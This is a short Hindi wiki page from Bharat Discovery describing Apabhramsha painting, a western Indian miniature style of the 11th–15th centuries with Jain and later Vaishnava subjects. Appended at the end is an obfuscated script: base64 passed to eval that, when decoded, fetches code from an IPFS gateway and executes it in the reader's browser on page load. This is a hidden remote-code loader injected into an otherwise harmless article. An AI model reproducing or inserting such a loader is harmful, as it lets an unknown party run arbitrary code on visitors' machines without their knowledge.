एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

अपभ्रंश चित्रकला

भारत डिस्कवरी प्रस्तुति
फ़ौज़िया ख़ान (चर्चा | योगदान) द्वारा परिवर्तित 08:15, 24 मार्च 2012 का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

अपभ्रंश शैली पश्चिम भारत में विकसित लघु चित्रों की चित्रकला शैली थी।

  • अपभ्रंश शैली 11 वीं से 15 वीं शताब्दी के बीच प्रारम्भ में ताड़ पत्रों पर और बाद में काग़ज़ पर चित्रित हुई।
  • अपभ्रंश शैली के चित्रों की सर्वप्रमुख विशेषता है:- चेहरे की विशेष बनावट, नुकीली नाक तथा आभूषणों की अत्यधिक सज्जा।
  • प्रारम्भ के चित्रों में जैन धर्म से सम्बंधित घटनाओं का चित्रण हुआ। परंतु बाद में वैष्णव धर्म से प्रभावित चित्र बनाये गये।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>